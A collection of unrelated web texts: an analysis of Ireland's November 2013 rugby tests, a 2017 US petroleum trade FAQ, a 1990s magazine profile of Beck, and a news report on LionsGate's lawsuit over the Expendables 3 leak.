Rhys Ruddock used McLaughlin’s absence from Leinster during November to stake his claim to the blue No6 jersey, and his performances since have tightened his grip on it. He’s a blue-chipper – capped for Ireland as a teenager, the youngest Leinster captain of the professional era, a former captain of the Irish U20s and Emerging Ireland, 65 first team appearances for his province under his belt before he turned 23 years old. The Mole would be surprised if he’s not in the international mix before the end of the season, possibly as a summer tourist.
Henderson is the big unknown though: his size, his strength and his ability to sidestep, spin-out, hand off and keep his legs going in contact [all illustrated in the first ten seconds below] make him a viable test blindside. There are always going to be some questions over whether or not he’s a lock or a flanker in the long term, and there are arguments for and against: if he’s expected to be launching himself into rucks all day as a lock, he’s not going to have the energy or as many opportunities to do this:
What’s better for the team?
Ireland 22 – 24 New Zealand
Ireland’s game against New Zealand was of a far higher standard than any of the other games of the series, and ranked up with the Ellis Park test between the Springboks and the All Blacks as the highest intensity match of 2013. It was a game that Ireland came very close to winning, but ultimately lost within the last couple of plays of the game, a tribute to the indomitable character of this great New Zealand team.
There can be little doubt that the Irish performance was backlash from the mediocre showing they produced against Australia, but there was also an element of them being forced to raise their game to compete against a better team. That might seem a questionable statement, but it’s worth considering whether the Irish players would have hit the individual heights of performance they achieved if they’d been playing a rubber game against the Australians, rather than a one-off against New Zealand.
There were a staggering 217 rucks in the game [103 in the first half and 114 in the second] as compared to the Samoa game’s 167 [67 | 100] and Australia’s 137 [73 | 64]. It’s not just the closeness of the result that had the Lansdowne Road crowd in fine voice, but the pace of the game throughout.
Captain’s Prize
It was as good a performance from Paul O’Connell as The Mole can remember him ever producing – a huge effort at the breakdown [as always], hard-hitting carries in the middle of the park and around the fringes, the dominant presence on either side out of touch, a vital part of a solid Irish scrum and none of the skill failures which blighted his outing against Australia.
The Irish captain is right back at the top of his game and back near the top of the world in his position, albeit with a new breed of competitors alongside him in Eben Etzebeth, Sam Whitelock and Alun Wyn Jones.
Bakkies Botha showed that he can still compete at test level in November, but his decision to relocate to France has made him an occasional international; Pato Albacete is not the all-phases presence that he was for the last four or five years, and James Horwill has badly lost form and confidence. Alun-Wyn Jones has emerged as one of the best second rows in the northern hemisphere, but when he and O’Connell played together for the Lions in the first test, it seemed readily apparent that O’Connell was the dominant partner in that firm.
As it panned out, O’Connell’s efforts at ruck time against New Zealand surpassed even his Lions effort. He ran up 1 turnover, 24 hits, 12 guards and 14 presents for an overall ruck mark of 115. When combined with a spotless 12/0 tackle count and a dominant performance at lineout time [his six wins on Irish ball eclipsed the entire All Black pack’s take out of touch], it must rank as one of the best Irish outings of his long career.
Back In Bearded Business
Gordon D’Arcy was under pressure to perform, with Luke Marshall’s omission seen by many as a conservative and parochial call from Schmidt. The long-time Leinster servant went out and repaid the coach’s faith by having a blinder.
In terms of his performance at the ruck and breakdown, the Wexford man ran up a highly impressive and aggressive 79 ruck marks [4 decisive, 15 hits, 2 guards, 14 presents] in an all-action display which saw him rank fifth of all Irish players.
D’Arcy’s form for Leinster has been consistently high for a long, long time, but the line had diverged at test level in the latter days of the Kidney regime. There were days in green when he looked completely bereft of confidence – St Patrick’s Day 2012 against England in Twickenham was the nadir, although he was hardly alone there – and any time a player in his 30s falls out of form, there’s always a queue of people ready to tell the world that he’s finished. Sure, sometimes it’s age, but sometimes it’s just a bad run of form from which any player, regardless of his age, can occasionally suffer.
There’s no good time for your form to dip; there’s a particular brand of [naturally] dismissive public opinion that gets rolled out depending on what stage it takes place. If it’s towards the end of your career, you’re finished; if it’s in the middle of your career, you’re just not international standard; if it’s at the start of your career, you’ll never make it.
Marshall is clearly the coming man, but the idea that you build depth in a position by defenestrating a proven player who’s still getting it done very obviously makes no sense whatsoever.
If The Glove Deccie Fitz …
There were a number of impressive performances from the Irish forward subs against the All Blacks, with Sean Cronin performing well as an early injury replacement for Rory Best and Kev McLaughlin putting in bruising tackles and gainline-breaking carries from the blindside, but the happiest surprise was the all-action cameo from Deccie Fitz.
The Ulster tighthead showed up extremely well in terms of carrying the ball into and through contact, something he hasn’t been renowned for in the past. It adds another string to his bow, as he has already proved himself a competent scrummager at provincial level. Toting the pill with a bit of pace and the odd step is eye-catching and reminds fans that he’s a rugby player as well as a scrummager, which isn’t something to be sniffed at. There’s a reductive and oft-voiced theory that all a tighthead has to do is scrummage, but at test level you can’t afford to carry passengers just for one set-piece.
We wrote in the first article about how Adam Jones has a better work rate than is portrayed, and Mike Ross’s performances at the ruck and breakdown against Australia and New Zealand [earning 80 ruck marks in each test, which was good for second amongst Irish players in the former game and fourth in the latter] prove that he makes a big contribution outside of the scrum.
With John Afoa set to make a big money move to Gloucester [far closer to Auckland than Belfast could ever be], the scene is set for Fitzpatrick to finally make the Ulster No3 jersey his own next year.
Whether he can do enough with it to push his case for Ireland is another question. Leinster’s 22-year old tighthead Marty Moore has played in every game of the season thus far for his province, and has impressed all and sundry with his ability to anchor the right hand side of the scrum. With that said, young props look good until they’re made to look bad, and while Moore has passed all inspections to date and might get a call-up for the Six Nations squad, The Mole thinks that it’d be negligent to forget Fitzpatrick’s efforts off the bench in this series. I reckon that he did enough in November to keep his place in the matchday squad in February.
Slaves To The Big Run
Jamie Heaslip led the field [i.e. all players on both sides] in tackles in two out of the three games, notching a 15/2 record against Samoa and a huge 21/1 effort against New Zealand.
The Leinster No8 has had a hell of an eventful 2013: named by Declan Kidney as his Irish captain for the Six Nations, selected for the Lions’ first two tests, nominated as one of the ERC’s Players of the Year for the second time in three seasons … leading Ireland to their worst Six Nations performance since the expansion of the tournament, getting dropped after the second Lions test, going out in the pool stages of the Heineken Cup with Leinster. It’s a season which has seen massive highs and lows. His form at test level has oscillated on a match-to-match basis as well.
Then again, so has the form of a lot of players. Rory Best’s throwing abilities absolutely deserted him in the second half of the Six Nations, then he seemed to get it together for the end of Ulster’s season, then it absolutely fell apart again with the Lions, then he pretty much got it back together for the start of the 2012-13 season.
Cian Healy put in a magnificent 21/0 tackle performance against Wales, got banned for stamping in his next match against England, won a couple of trophies with Leinster, was selected for the Lions, and was bizarrely cited for biting [a citation which was thrown out] in the same match in which injury ended his tour before the test series. He missed out to Jack McGrath for the Samoan game, seeing his Leinster team-mate win Man of the Match on debut, tailed off badly in the second half against Australia and then put in a brutally physical performance against the All Blacks. Then he picked up another serious injury in training and is now a doubt for the Six Nations. It’s the lot of a test player to go through ups and downs over the course of a calendar year.
Against the All Blacks, Heaslip turned in a very big performance in direct opposition to Kieran Read, the best player on the planet. He was second only to O’Connell [15] in the Irish pack in terms of the number of times he got on the ball [14] and tied with the captain as the busiest carrier in the Irish pack, with 9 carries. He finished with 76 ruck marks [1 turnover, 18 hits, 7 guards and 3 presents], ranking sixth in the team, and his massive tackle count exceeded even his 16/1 effort from the last time he faced Reid and the All Blacks in Christchurch back in June 2012.
Peter O’Mahony put in gut-busting work at ruck time for a very admirable score of 87 [1 decisive, 17 hits, 12 guards and 8 presents] in the 56 minutes he spent on the pitch before being replaced by Kev ‘Locky’ McLaughlin. That ruck mark was good enough for third on the day, behind only a couple of players who both went the full 80 minutes. This aspect of O’Mahony’s performance was a big step up from his showings against Samoa [43 – 2 turnovers, 7 hits, 6 guards] and Australia [58 – 1 decisive, 12 hits, 7 guards, 3 presents] and gave evidence of his appetite for dirty work.
Maybe it’s just the contrarian in me, but it seems that I disagree with the general opinion on Peter O’Mahony in pretty much every match he plays for Ireland. In my eyes, his best performance of the Six Nations was in the draw against France in filthy conditions, not his game against Wales. In the latter he had an eye-catching run down the right wing … but he also had Craig Gilroy outside him and used up all the space, rather than giving it to the flyer outside him earlier. In the former he didn’t get his hands on the ball in open play as much, but he had an excellent showing in the lineout, made his tackles close in, mauled well in a tight game where mauling well was essential and was a dervish at the breakdown. Similarly, while he put up impressive numbers with the ball in hand in the June tour match against the US Eagles, I felt that his performance the following week against Canada was better in terms of his all-round contribution to the team.
I’m not denying for a second that it’s important to make line-breaks and beat defenders; it’s just that there’s more to the game that making ‘The Big Run’. Making a pass to put somebody into space can be as important in a given context, as can getting a metre over the gainline with tacklers hanging off you, allowing your pack to continue coming forward on to the ball rather than having to ‘J’ out of the ruck and come in through a gate that’s behind where they started off. Plowing a jackal off a tackled player can be the key to a successful series of phases that produce points. Getting up off the deck late in the game to make tackles in open play when you wouldn’t be missed by anybody in the ground if you weren’t there … these things have value too.
The essential point is that just because a guy who is typically a good ball-carrier doesn’t have a highlight-reel run, it doesn’t mean he had a bad game or ‘didn’t show up’. O’Mahony didn’t get on the ball much, and Heaslip never really broke free, but both of them put in huge efforts.
Reprise
And to end on the same note that we began on, Sean O’Brien is a monster. It’s difficult to overstate his importance to the Irish team, and he’s a massive loss for the Six Nations. We’ve referenced O’Connell’s efforts in the first test of the Lions series a number of times, when he was the only player in red in the Lions test series to break into three figures in ruck marks, setting the benchmark with a score of 109.
The Irish captain bettered that mark in the New Zealand test, hitting 115. Even he couldn’t keep up with O’Brien though, who blew the doors off with an enormous 153 [1 turnover, 5 decisives, 28 hits, 13 guards and 18 presents]. O’Brien ran up a tally of 74 in the first half, took a breather, then came back out and put in an even more impressive effort in the second period, tallying 79 over the next forty minutes. He also managed to effect a 16/0 tackle count – just a staggering effort.
Conclusion
Because it ended on a performance high, and because a new coach was running the show, the fact that the series followed a similar trend of up-and-down performances and results that defined the post-2009 Declan Kidney regime has largely been ignored. Ireland didn’t build from a poor start and get better with every game: they turned in a satisfactory showing against Samoa, a piss poor one against Australia and an exceptional one against New Zealand. Three games is too small a sample from which to make any reasonable or relevant judgement, but it’s all there is to go on thus far. Consistency is still elusive.
Buried in the pewtery gushings that were the soundtrack to the aftermath of the loss to New Zealand, the comment that The Mole found most memorable came from the typically gruff coach of the winners, Steve Hansen:
“We expected them to be tough; every time we play them they’re tough. But sometimes I don’t know if they believe they’re as tough as they are.”
Hansen could afford to be gracious, as his team had just become the first test team of the professional era to win every game they played in a calendar year. He has never been fingered as a bullshit merchant though, and graciousness isn’t synonymous with being patronizing. There’s also a fairly thorny stem beneath the petals.
Confidence, belief. Call it what you will. Very ephemeral. With two home games a week apart to start the Six Nations at the beginning of February, Ireland have a fixture list that affords them the chance to build a bit of momentum in what is typically the more daunting even-year schedule [in that it includes trips to Twickenham and Paris]. A good start is better than a bad one, but as we learned after last year’s razzle-dazzle first half against the Welsh in Cardiff, it’s less than half the battle. The best way to build confidence is to win games. Ugly or pretty, any win will do.
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How much petroleum does the United States import and export?
In 2017, the United States imported approximately 10.14 million barrels per day (MMb/d) of petroleum from about 84 countries. Petroleum includes crude oil, hydrocarbon gas liquids, refined petroleum products such as gasoline and diesel fuel, and biofuels including ethanol and biodiesel. Crude oil accounted for about 79% of U.S. gross petroleum imports in 2017 and non-crude oil petroleum accounted for about 21% of gross petroleum imports.
In 2017, the United States exported about 6.38 MMb/d of petroleum to 186 countries, of which about 18% was crude oil and 82% was non-crude oil petroleum. The resulting net imports (imports minus exports) of petroleum were about 3.77 MMb/d.
The top five source countries of U.S. petroleum imports in 2017 were Canada, Saudi Arabia, Mexico, Venezuela, and Iraq.
Top sources and amounts of U.S. petroleum imports (percent share of total), respective exports, and net imports, 2017
million barrels per day Import sources Gross imports Exports Net imports Total, all countries 10.14 6.38 3.77 OPEC countries 3.37 (33%) 0.19
3.17 Persian Gulf countries 1.75 (17%) 0.01 1.73 Top five countries1 Canada 4.05 (40%) 0.87 3.18 Saudi Arabia 0.96 (9%) <0.01 0.95 Mexico 0.68 (7%) 1.08 -0.40 Venezuela 0.67 (7%) 0.06 0.61 Iraq 0.60 (6%) <0.01 0.60
Note: Ranking in the table is based on gross imports by country of origin. Net imports volumes in the table may not equal gross imports minus exports because of independent rounding of data.
The top five destination countries of U.S. petroleum exports in 2017, export volume, and share of total petroleum exports
Mexico—1.08 MMb/d—17%
Canada—0.87 MMb/d—14%
China—0.45 MMb/d—7%
Brazil—0.40 MMb/d—6%
Japan—0.35 MMb/d—5%
Learn more:
Detailed historical data on U.S. petroleum imports and exports
U.S. petroleum imports by country of origin
U.S. petroleum exports by destination
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Last updated: October 3, 2018
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This is Beck. He’s not a slacker, an angst-ridden mouthpiece, or a loser, baby. He’s a cosmic naïf with one foot on the zeitgeist wahwah pedal and a scary inner-bluesman aching to turn it loose. MIKE RUBIN wonders if you’ll still love him tomorrow.
“The best place to view Los Angeles of the next millennium,” wrote social historian Mike Davis in the prologue to his 1990 dissection of L.A. development, City of Quartz, “is from the ruins of its alternative future.” Granted, the specific ruins Davis was discussing were the crumbled vestiges of the former utopian socialist hamlet of Llano del Rio, its vacant desert acreage awaiting annexation as a subdivision for the white flight of the 21st century; and, of course, his definition of alternative had nothing at all to do with a contrived corporate radio format. But, oh well, whatever, never mind. I figured that the best place to view Los Angeles’s “alternative” future was from the ruins of its indie-rock past, from the hieroglyphic squiggles of its bands’ promotional graffiti, from the faded small print on its wrinkled-up paycheck stubs.
And so that future, as embodied at the moment in the scrawny frame of Beck, a.k.a. Beck Hansen, a.k.a. Beck Campbell, 23-year-old folk-rap-noise balladeer and MTV Buzz Bin sensation, is busy excavating the rubble of his own past for me.
“See that sign over there?” asks Beck, pointing out the car window as we drive down Hyperion Avenue in the fading light of day. “I painted that sign.” I crane my neck to see a plain brick building, its facade festooned with big block letters — THRIFT STORE. The nondescript storefront testifies to how far the sandy-haired urchin has come in a very short time. Only two years ago he was painting electric pink and blue signs on lingerie stories, eating Chee-tos, and making living-room cassettes of his twisted pseudo-folk songs for friends. Today, he still eats Chee-tos and makes living-room cassettes, only now his single, “Loser” — recorded in just a casual couch-potato scene — has been the hottest request on the radio stations across the country. An irresistible snatch of honky hip hop, it’s a demi-dadaist rap in the (somewhat clunky) cadence of Bob Dylan’s “Subterranean Homesick Blues,” laid over a funky backbeat and grafted to the most infectious slide-guitar lick since the Allman Brothers’ “Midnight Rider” was drafted into a beer commercial. His debut album, Mellow Gold, originally slated to be released on L.A. mini-indie Bongload Records, has instead come out on mammoth DGC.
The critical avatars of the boomer media have anointed him a spokesman for his generation, an honorific with slightly less power than the Prince of Wales — call it the Prince of Wails — and ten times the royal pain in the ass. Such a burden sits uncomfortably on Beck’s head and shoulders, which are currently covered by a blue polyester shirt and a leather-brimmed baseball cap with the Ford Pinto logo on the front. (The Beastie Boys’ Mike D, an acquaintance of Beck’s and no ’70s sartorial slouch himself, says Beck is “one of the best dressers I’ve hung out with in a while,” citing in specific his corduroy flares, Jordache jeans with the hems let out, and “a thrift-store T-shirt collection that can rival anyone’s.”) The Dylan comparisons are dangerous enough and this spokesperson stuff just doesn’t wash with him. “Jesus!” exclaims Beck at the very notion of being a mouthpiece for millions. “You’d have to be a total idiot to say: ‘I’m the slacker generation guy. This is my generation, we’re gonna fuckin’ — we’re not gonna fuckin’ show up.’ I’d be laughed out of the room in an instant.”
So let’s set one thing straight: Beck is no slacker. “I’ve always tried to get money to eat and pay my rent and shit, and it’s always been real hard for me,” he says, affecting a certain amount of B-boy swagger. “I’ve never had the money or time to slack.”
For the past year, Beck’s been collecting unemployment checks after being laid off from his $4.00-an-hour video-store job, unable to find any work at all. He doesn’t even watch TV; though he’s performed a song called “MTV Makes Me Want to Smoke Crack” for the last few years, he’s never really seen the channel. “I was blissfully ignorant,” he admits.
“If you told me a year ago I was going to have a record deal, I would have laughed at you,” he says. And not just one deal. In addition to Mellow Gold, he has a new album on Flipside, Telepathic Astromanure, as well as an album and a seven-inch single to be released on K Records this summer. With a handful of indie EPs and the full-length cassette Golden Feelings (from Sonic Enemy) out last year, Beck is rapidly becoming as prolific as a low-fi Prince.
The tour continues. Passing a prefab-looking shopping strip, he points out the former location of the video store that laid him off, now itself a figment of the strip mall’s past. On Sunset Boulevard he motions toward Tang’s Donut Shop, an all-night pastry hut where he would hang at 4:00 A.M. getting a “nice sugar rush” while watching homeless guys play high-speed chess. Further down Sunset, Beck points out a revolving sign for a podiatry office. On one side of the sign is a “before” cartoon foot, propped up on crutches and sporting a miserable frown; on the other is the after-care foot, beaming with post-appointment relief. The sign gets turned off every night. A few years back, Beck lived in a house right behind it. He and his roommates would sit around at dusk, drinking beers and waiting for the sign to stop spinning. If the sign came to a halt and the happy side faced the house, he says, they’d head out for action, but if the sad foot pointed in their direction, they’d call it a night.
He’s had jobs moving refrigerators and furniture. He worked at children’s birthday parties as a hot dog man, serving root beer and hot dogs to little kids. As his song “Beercan” attests, he quit his job blowing leaves, but not before his leaf-blower ended up on stage with him as a musical instrument. “It’s a very large population here,” he says of leaf-blowers. “There’s a leaf-blower contingent. There’s no union that I know of so far, but there’s certainly a spiritual brotherhood. They are the originators of noise music. It’s like a cross between a Kramer guitar and a jet pack.”
Later, he tells me, “All the shit that’s happening to me now is totally insane, because if you ask anybody that knows me, they’d tell you I’ve had the worst fucking luck. This is all an avalanche of confetti and balloons and kazoos. Before, the party was just an empty room with a bare light bulb on the ceiling. It was pretty bleak.”
When I suggest that with such sentiments he’s veering dangerously toward Vedderian angst, he laughs and begins sarcastically whining in a pinched voice, as if lecturing his inner Jeremy. “Oh, the tragedy and the anguish. You just gotta Rage Against the Appliance, man. The toast is burning and you just gotta rip it out and free it before it fills the house with smoke. Rage Against the Toaster.”
If not for “Loser,” Beck would still be a street-fighting folk singer with a distortion pedal and a dream, if not quite a — well, loser. Beck’s path through the pop charts is certainly one of the most unlikely sagas in recent music history, a harmonic convergence of indie-rock dissonance and the new A&R paradigm. Gigging at L.A. coffeehouses and clubs and circulating his tapes, Beck was spotted by Bongload co-owner Tom Rothrock, who eventually put the cosmic naïf in touch with producer Karl Stephenson. Goofing around with some songs over at Stephenson’s house, Beck laid down some slide guitar which Stephenson recorded, looped, and set to a hip-hop beat. Beck wrote some lyrics on the spot and got on the mike trying to deliver a Chuck D-style rap. “When they played it back, I was like, ‘I’m the worst rapper!’ So when I did the chorus I was just putting myself down.” Meaning the put-down currently being appropriated for an already put-upon generation — “I’m a loser, baby, so why don’t you kill me?” — is actually just Beck’s critique of his own Chuck D imitation.
While Beck’s collision of folk and rap might seem jarring, to Mike D it’s not an incongruous mix at all. “He fits into the nomadic folk tradition of Ramblin’ Jack Elliott, the whole traditional coffeehouse balladeer tip,” he says. “But his hip-hop side legitimizes Public Enemy as the real folk music of the ’80s, because he draws on that aspect just as much as on anything else that he’s picked up along the way.”
“Loser” sat around for over a year, until Bongload released it in March ’93 in a pressing of 500 copies, just for friends and local college radio stations to play. “But last fall these really heavy-duty commercial stations starting playing it,” says Beck. “They didn’t even have copies. They were making cassette copies off of someone who had a copy of the vinyl.” Unwittingly, his song played into the hands of those who would demonize his peers as do-nothings. “I didn’t even connect it at all to that kind of message until they were playing it on the radio and I heard it, and they said ‘This is the slacker anthem,’ and immediately it just clicked and I thought, ‘Oh shit, that sucks.’ “
Beck hasn’t sung the line live in over a year. “It was a fun song to make, and when they take it out of context like that, it’s kind of a drag. It’s tongue-in-cheek, you know. It’s not some anguished, transcendental ‘cry of a generation.’ It’s just like sitting in someone’s living room eating pizza and Doritos.”
The self-deprecating stance of “Loser” is nothing new. The song mines the rich tradition of self-mocking shemphood that probably made its first dent on the hit parade with the Beatles’ 1964 “I’m a Loser,” continuing on through the Stooges’ “I Wanna Be Your Dog,” and Sebadoh’s “Losercore.” Sub Pop even put “LOSER” in big block letters on its T-shirts back in 1988. Like rappers’ use of “nigga” and gay activists’ use of “queer,” embracing “loser” may even have an empowering quality, although it may just as likely indicate that young people have internalized their buzz-word abuse at the hands of boomers.
Now that he’s helped perpetuate this generational “Loser” phenomenon, Beck has come up with an alternate plan to combat it. “I’m going to get this gigantic 40-foot-wide pair of pants and get all the kids to get in the pants with me, and we’re going to do aerobics. The problem with these kids is they’ve just gotta get in shape. I’m just going to be sort of the exercise instructor…”
“Of a generation,” adds Chris Ballew, Beck’s backup guitarist.
“A human aerobics tape, if you will,” continues Beck. I suggest that perhaps Neil Young has already explored this oversize theme as a tour motif. No problem, says Beck. “You have to pay homage to your elders. That’s part of the new respect with this generation. Once they’re more in shape they can pump their fists with confident biceps and all that shit.”
Beck’s unconventional upbringing prepared him for his sudden explosion into the national zeitgeist. His mother, Bibbe Hansen, was a former scenester at Andy Warhol’s Factory, appearing in Warhol’s (unreleased) film Prison along with Edie Sedgwick. The daughter of Al Hansen, an artist who was part of the Flexus movement in the 1960s with Joseph Beuys, she raised Beck and his brother with a deliberately hands-off approach, stressing self-reliance. She takes no credit for the way he turned out. “Oh no, he’s an original,” she says when asked if her bohemian background had somehow influenced him. “He did it all completely on his own. I wouldn’t have a clue as to how Beck became Beck.”
As a kid, while his single mom was struggling to make ends meet (and his father, whose surname is Campbell, was off starting another family), Beck was shuffled back and forth between L.A. and Kansas, where he lived with his paternal grandfather, a Presbyterian minister. At age 12, he returned to live with his mom in L.A. where the hardcore scene was in full flower. “She would let punks stay at our house who didn’t have a place to stay,” says Beck. “She actually claims that Darby Crash crashed out a few times on our living room sofa. She was older, but she kind of felt sorry for them.” Beck’s mom confirms that her acts of charity reached out to members of the Screamers, the Controllers, and yes, Bobby Pyn, later known by his Germs stage name Darby Crash. “Punk was like the best thing I’d heard in years,” she admits. “So yeah, there was always a peanut butter-and-jam sandwich and a couch.”
One day over at a friend’s house, Beck found a copy of a Mississippi John Hurt record from the ’60s. “It was shrink-wrapped, it hadn’t even been opened, and it was this insane close-up of his face, sweating, this old, wrinkled face, and I took it,” he says with more than a trace of Midwestern twang. “I was going to return it, but I didn’t. I loved the droning sound, the open tunings, the spare, beat-down tone. And his voice was so full. He just went through so much shit, and it comes across really, really amazing.”
Exhilarated by his discovery, he began banging out tunes on an acoustic guitar that was lying around the house. Around this time, after finishing junior high, he dropped out of school. “I didn’t have any friends, it felt kind of like a waste to me.” Instead of high school, he’d sit around his room all day playing along with his Charley Patton and Blind Willie Johnson records.
To get over his shyness about performing, he would go to the park near his home in L.A.’s Little El Salvador neighborhood and serenade the Spanish-speaking soccer players. “There would be these Salvadorian guys playing soccer and this little white boy playing Leadbelly songs. Nobody would listen,” he says. “It was really pathetic.” Some days he’d board the back of a bus, riding the Vermont line down through South Central and back around up to Hollywood, practicing Fred McDowell slide-guitar licks, changing the setting of the lyrics from the rural south to his mass transit surroundings. Every now and then another musician would come to the back and jam with him, but mostly he got blank stares or verbal abuse.
When he was 16 or 17, Beck began making tapes by recording onto one cassette player, then playing along with that cassette player into another, repeating the procedure until the sound was completely distorted. The screwed-up tape speeds resulted in a helium-enhanced vocal effect of which Beck is still fond. He was also weaned on records by Sonic Youth and atavistic aut-rockers Pussy Galore, whose album he bought out of curiosity at age 15 because he had been “a total James Bond freak” as a little kid. “Pussy Galore was a Bond character so I bought it. It was so distilled and pure. It had all the elements, just turned up.” To Beck, noise became like a drug: “Once you start doing it, you can’t stop.”
In 1989, he set out for New York with a girlfriend, only to have her ditch him soon after arrival. Hanging around the Lower East Side without a place to live, he crashed on friends’ couches and in anarchist squats, working a succession of odd jobs, such as taking ID photos at an Upper East Side YMCA and checking jackets at an East Village bookstore. One night, sitting out in front of Chameleon, a bar on 6th Street and Avenue A, picking his guitar, a fellow wayward troubadour played him a number he’d just written about potato chips. Blown away by this deep-fried approach, Beck discovered that such bizarre subject matter was being explored regularly inside Chameleon on their open mike nights, and he immediately took to performing there and at ABC No Rio as part of the “antifolk” scene that had already spawned Roger Manning and John S. Hall.
As he worked at honing his songwriting craft, Beck fell under the charismatic spell of poet-performer Mike Tyler, at the time the publisher of American Idealism Rag, or A.I.R. “He knew Bukka White, you know what I mean?” says Tyler of Beck. “He could get up on stage with somebody else and it just always seemed perfect. All the false alternative hypocrisy just seemed to fade away when I saw him.”
Sunlight streams through the window and onto the cluttered record stacks at KXLU out in the Westchester section of L.A. It’s a beautiful southern California afternoon, but we’re jammed into the college radio station’s minuscule offices on the campus of Loyola Marymount University where Beck and Sonic Youth’s Thurston Moore are broadcasting a live performance. Crammed practically onto each other’s laps in the tiny studio, Beck and Moore look like micro- and macro-versions of one another: Moore wearing sunglasses and a plastic visor; Beck, the test tube Moore, in a flannel shirt and his Pinto cap. As the duo serenade a pudgy DJ in a Rollerskate Skinny T-shirt across a table full of recording equipment — Moore assaulting his guitar, Beck gurgling into a mike — the feel is improvisational and the theme is ferocious noise.
“The next song is called — what’s the next song called?” wonders Beck. “The next song is called ‘Super Christ,'” says Moore, announcing what will probably be a big hit among listeners at this Catholic university. Beck launches his Moog into a succession of burbles and squiggles while Ballew, the only member of his band present, plays percussion by scraping the metal arm that supports the studio mike.
Suddenly, mid-song, Beck runs out of the studio, down the hallway, and disappears. Three minutes later he comes running from the opposite end of the hallway back into the studio. A few songs later, he repeats his disappearing act. Later, he tells me he had set his Moog to play a sustaining note while he ran a lap around the station office, rode down the elevator and back, all with the keyboard continuing to bleat away.
After 30 minutes more of joyful noise, Moore calls it a set and the DJ segues from the super-session into Superchunk. A young station staffer ambles up to Beck as he’s unplugging his synthesizer.
“Do you know how to play the piano, or were you just faking it?” she asks.
“I can’t really play anything,” he replies, glancing up wide-eyed. “I just try to feel my way around it.” He pauses, looking perplexed. “Why, did it seem like I was unknowledgeable?”
The girl, perhaps sensing a confrontation between the forces of market-driven conventionality and the free-form impulses of the avant-garde, evades answering the question. Beck packs his Moog into a beat-up old suitcase worthy of a door-to-door salesman and disappears out the studio door. Five minutes elapse. Then Ten. Moore, responsible for driving Beck to another radio appearance, begins searching.
“Maybe he’s lost,” offers the girl.
“He is lost,” answers Moore, speaking generally. “And sometimes he gets found. These days, he gets found a lot. It’s like Hendrix, he took drugs to get straight.”
It’s Friday night, and downtown L.A.’s Troy Café is abuzz with more than just caffeine. A tiny coffeehouse whose narrow confines make CBGB look like Madison Square Garden, the Troy is vacuum-packed for the second public performance by Beck’s band, the crowd stretching from the cappuccino machine out on to the street, despite the gig’s lack of advertising.
“This is a total harmonica freakout from 1896 called ‘One Foot in the Grave,'” announces Beck as he takes the stage alone, launching into a frenzied mouth-organ blues. Stomping his foot on the floor for percussion, bellowing vocals through a fuzzed-out monitor, he sounds like an ancient southern bluesman trapped in a teenage smartass’s body. It’s roots music that’s been peroxided blood.
After the solo number, the rest of the band comes up on stage: guitarist Ballew, whom Beck met in Seattle when Ballew jumped on stage at a solo show to provide human beatbox sounds for “Loser”; bassist Dave Gomez, a burly veteran of several local hardcore bands whom Beck describes to me later as “a Long Beach O.G.”; and Joey Waronker, a drummer from a musical family (sister Anna plays guitar in That Dog, father Lenny is the president of Warner Bros. Records). For the time being, the group has decided to call itself “After School Special,” although no one is quite sure if ABC-TV will appreciate this.
“This is a crazy little Gary Numan song called ‘New Wave Cocksuckers,'” declares Beck, as he and the band break into an indecipherable, high-speed thrash. “What’s with these ‘LOSER’ T-shirts?” he asks between songs, spotting a familiar message on some chests in the crowd. “Don’t you people have any self-respect?” A song called “Teenage Wastebucket” begins in a mellow lope, accelerates into a breakneck romp, then suddenly segues back into the slow groove before devolving into a Sonic Youth-style espresso-to-your-skull feedback drone. After Beck flails about like a spastic dervish, nearly trashing Waronker’s drum kit, a female voice calls out, “I love you, Beck!” Picking himself up from the floor with an embarrassed grin, Beck replies, “Thanks, mom.”
Of course, the heckler probably is Beck’s mom: Not only is she the co-owner of the Troy Café, she’s also the guitar player for the evening’s headlining band, Black Fag, a punk-rock performance-art group fronted by a six-foot seven-inch African-American drag queen named Vaginal Creme Davis.
The next night is the band’s final send-off before the tour, and they’ve chosen to celebrate the event at Fuzzland, a roving club that changes locations from show to show. Tonight’s gig takes place in a dilapidated former bowling alley, with the stage set up at the end of one of the lanes. It’s supposed to be a record-release party for Beck’s Flipside CD, but in typical indie-rock form, the records aren’t ready yet.
The show moves through various acts of Beckian theater, including auditioning drummers to fill in for an ailing Waronker (who, as Beck tells it, ate “some fucked-up Satan sushi”), before Beck finally relents and gives the people what they want. “This song is called ‘K-Rock Set My Dick on Fire,’ ” he bellows, introducing “Loser.” In time to the beat, Beck tugs at a chain dangling above him, turning a neon Miller Genuine Draft sign over the stage on and off. Tonight the Spanish lyric, “Soy un perdidor” (a rough translation of “I’m a loser”) sounds like “signed to Polydor,” and the chorus’s response is “Why don’t you kill yourself?” Raw and distorted, Beck’s rapping more off-kilter than ever, the song bears little resemblance to the smash hit that’s beginning to hang like a dookie rope albatross around his neck. It’s somehow fitting that the show comes to a close with Gomez leaping off the stage and squashing several members of the audience sitting on the floor.
“We need about two or more weeks of rehearsal,” Ballew tells me after the show. How soon till the band leaves on tour? “Two days.” He laughs. “Well, we’ll work it out on the road.”
As I leave the club, I’m not so sure. I think back to Beck’s words in “Pay No Mind”: “Give the finger / To the rock’n’roll singer / As he’s dancing upon your paycheck.” In his live performances, Beck has changed the target from a rocker to a “folk singer.” He might be singing about himself, knowing, as he seems to, the ebb and flow of rock’s fickle spin cycle. He’s a protest singer for the irony age, chronicling the punchline, not the breadline. So he knows full well that someday, probably sooner than later, he’ll be the recipient of that bird.
Oh well, whatever, never mind. |
Movie studio LionsGate has asked a federal court to issue a default judgment against the alleged operators of several file-sharing sites for their role in distributing the Expendables 3 leak. The studio demands the maximum statutory damages from several defendants, including the operator of LimeTorrents.
During the summer of 2014 LionsGate suffered a major setback when a high quality leak of the then unreleased Expendables 3 film appeared online.
Fearing a massive loss in revenue the movie studio sued the operators of several websites that allegedly failed to remove the infringing files.
Over the past year there has been little progress in the case as most of the accused site operators failed to respond to LionsGate’s complaint.
In a new filing at the California district court LionsGate indicates a desire to move forward by asking for a default judgment (pdf) against the operators of LimeTorrents and the defunct Dotsemper and Swankshare sites.
While the sites have nothing to do with the original leak, they allegedly failed to respond to a slew of takedown requests sent by the movie studio in the days after the film leaked.
According to the court papers LimeTorrents is operated by Javed Ashraf, who like the other two operators is not based in the United States.
“Prior to filing this lawsuit Lions Gate sent multiple demand letters to Defendant Ashraf demanding that he immediately cease his infringement but received no response, and the infringement did not stop,” the studio writes.
This inaction contributed to the millions of pirated downloads that occurred before the film officially premiered, LionsGate argues, accusing the defendants of causing “substantial and irreparable damage.”
